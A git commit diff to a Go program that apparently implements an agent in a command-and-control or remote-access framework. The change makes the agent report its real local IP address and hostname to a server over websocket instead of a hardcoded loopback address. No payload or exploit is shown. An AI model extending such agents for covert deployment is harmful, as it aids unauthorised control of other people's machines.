added real ip to be sent to the server

This commit is contained in:
Stefan Etringer 2025-05-27 15:02:42 +00:00
parent 20afb2f216
commit a6a48b8501
1 changed files with 35 additions and 2 deletions

View File

@ -12,6 +12,7 @@ import (
"math/rand"
"math"
"strconv"
"net"
"github.com/gorilla/websocket"
)
@ -31,7 +32,7 @@ type Agent struct {
InitialContact string `json:"initialContact"`
LastContact string `json:"lastContact"`
AddPort string `json:"addPort"`
HostName string `json:"HostName"`
HostName string `json:"hostName"`
}
type Message struct {
@ -169,12 +170,44 @@ func randomInt(length int) int {
}
func GetLocalIP() net.IP {
addrs, err := net.InterfaceAddrs()
if err != nil {
log.Fatal(err)
}
for _, address := range addrs {
if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
if ipnet.IP.To4() != nil {
return ipnet.IP
}
}
}
return nil
}
func GetLocalIPs() []net.IP {
var ips []net.IP
addrs, err := net.InterfaceAddrs()
if err != nil {
log.Fatal(err)
}
for _, address := range addrs {
if ipnet, ok := address.(*net.IPNet); ok {
if ipnet.IP.To4() != nil {
ips = append(ips, ipnet.IP)
}
}
}
return ips
}
// func main() {
func StartServer(agentInteractivePort int){
// agentInteractivePort is only needed for interactive sessions
agentName := "Agent-001"
agentId := strconv.Itoa(randomInt(8))
agentIp := "127.0.0.1"
agentIp := GetLocalIP().String()
agentType := "Interactive"
addPort := strconv.Itoa(agentInteractivePort)
hostname, _ := os.Hostname()